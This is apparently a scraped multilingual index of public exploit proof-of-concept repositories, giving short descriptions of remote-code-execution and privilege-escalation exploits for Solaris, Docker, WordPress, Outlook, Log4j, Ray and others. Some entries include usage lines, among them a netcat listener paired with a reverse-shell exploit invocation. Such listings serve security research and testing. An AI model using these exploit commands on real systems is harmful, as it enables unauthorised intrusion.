EvilSunCheck

EvilSun Vulnerability Checker CVE-2020-14871 Questo è un piccolo script Python per rilevare la vulnerabilità "EvilSun" CVE-2020-14871 sui sistemi Solaris. La vulnerabilità è un buffer overflow nel modulo di autenticazione pluggabile PAM pamunixauth quando gestisce l'autenticazione interattiva da...

CVE-2017-5941-NodeJS-RCE

CVE-2017-5941-NodeJS-RCE https://paper.seebug.org/213/...

CVE-2020-11108-PoC

CVE-2020-11108-PoC In diesem Repository befinden sich zwei PoCs. cve-2020-11108-rce.py verschafft Ihnen eine Shell als Benutzer www-data. root-cve-2020-11108-rce.py verschafft Ihnen eine Shell und führt eine Rechteausweitung auf root durch. Hinweis: Dies ist destruktiv, da wir teleporter.php...

CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC per CVE-2019-5736 Creato con l'aiuto di @singe, @cablethief e @feexd Testato su Ubuntu 18.04, Debian 9 e Arch Linux. Versioni Docker 18.09.1-ce e 18.03.1-ce. Questa PoC attualmente non funziona con Ubuntu 16.04 e CentOS. Vai a dare un'occhiata al codice dell'exploit di Drago...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 Questo è un exploit di CVE-2021-3205, una vulnerabilità web di command injection nel percorso search.php; questo exploit consente di eseguire comandi. Requisiti optparse, signal, requests Utilizzo root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Questo è un exploit di CVE-2019-16278 per Nostromo 1.9.6 RCE. Questo exploit consente RCE sulla macchina vittima. Requisiti optparse socat sys Uso Puoi usare l'exploit come segue: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80...

cve-2025-55182

🛡️ React2Shell CTF 🚀 Benvenuti in React2Shell-CTF , un ambiente Dockerizzato progettato per esercitarsi nello sfruttamento di React2Shell CVE-2025-55182. React2Shell è una vulnerabilità critica che colpisce le applicazioni basate su React. Questo repository fornisce una sfida Capture The Flag CTF...

cve-2025-29384

CVE-2025-29384 Exploit Proof-of-Concept Panoramica Questo repository contiene un exploit proof-of-concept PoC avanzato per CVE-2025-29384 , una vulnerabilità critica di buffer overflow basato su stack scoperta nel router Tenda AC9 con versione firmware V15.03.05.14multi. Questa vulnerabilità...

CVE-2021-31630

OpenPLC WebServer v3 - RCE autenticato CVE-2021-31630 Questo exploit si basa sull'exploit di Exploit-DB realizzato da Fellipe Oliveira. Per prima cosa, autenticati Carica un file C malevolo Compilalo Avvia il PLC avvia la reverse shell Ferma il PLC non è necessario eseguirlo, la reverse shell è g...

CVE-2017-9805

CVE-2017-9805: Analisi della RCE di Apache Struts 2 S2-052 Questo repository contiene dettagli tecnici e una Proof of Concept PoC per la vulnerabilità di deserializzazione XStream in Apache Struts 2 S2-052. 📌 Dettagli della Vulnerabilità ID CVE: CVE-2017-9805 Tipo di vulnerabilità: Remote Code...

CVE-2024-25466

CVE-2024-25466 Descrizione per CVE-2024-25466 Descrizione suggerita Vulnerabilità di Directory Traversal in React Native Document Picker precedente alla v.9.1.1 e corretta nella v.9.1.1 consente a un attaccante locale di eseguire codice arbitrario tramite uno script appositamente predisposto nel...

CVE-2023-6019

حقن أوامر Ray OS RCE غير مصرح به الاستخدام: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Schwachstelle zur Remotecodeausführung in Microsoft Windows SMBv1 "Ein Exploit. Dutzende Malware-Familien. Milliarden Schaden." 🔍 Zusammenfassung in einem Satz CVE-2017-0144 ist eine kritische Schwachstelle zur Remotecodeausführung in der SMBv1-Serverimplementierung...

CVE-2026-21018

Dépassement de tampon SveService Samsung SMR Mai 2026 SVE-2026-0478CVE-2026-21018 Versions affectées : Android 14, 15, 16 Statut de divulgation : Divulgué privément Écriture hors limites dans SveService avant SMR Mai-2026 Release 1 permet à des attaquants privilégiés locaux d'exécuter du code...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133 moodle autenticato come insegnante esecuzione remota di codice...

CVE-2023-21716

CVE-2023-21716 Corruzione dell'heap della tabella dei font RTF di Microsoft Word https://twitter.com/jduck Una vulnerabilità all'interno di wwlib di Microsoft Office consente agli aggressori di ottenere l'esecuzione di codice in remoto con i privilegi della vittima che apre un documento RTF...

Log4j-_Vulnerability

The Web Is Vulnerable to CVE-2021-44228 Questa applicazione web è vulnerabile a CVE-2021-44228, una falla di sicurezza critica in Apache Log4j 2 nota come Log4Shell. Questa vulnerabilità consente a un attaccante non autenticato di eseguire codice dannoso da remoto semplicemente inviando un input...

CVE-2022-21661

🛡️ CVE-2022-21661 Ein Python-basierter Proof-of-Concept PoC -Exploit für CVE-2022-21661, eine kritische Schwachstelle in WordPress, die es nicht autorisierten Angreifern ermöglicht, Object-Injection-Angriffe durchzuführen, die unter bestimmten Bedingungen zu Remote Code Execution RCE führen können...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Proof-of-Concept für die Microsoft Outlook Remote Code Execution-Schwachstelle 📜 Beschreibung Dieses Skript präsentiert einen Proof-of-Concept PoC für CVE-2024-21413, eine bedeutende Sicherheitsschwachstelle, die in Microsoft Outlook entdeckt wurde und einen CVSS-Wert von 9,8...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp ' Execução Remota de Código Não Autenticada Console de linha de comando interativo para CVE-2019-16759 Uso: root@kitploit: python3 exploit.py Insira o site com Http/Https e obtenha o Shell :p...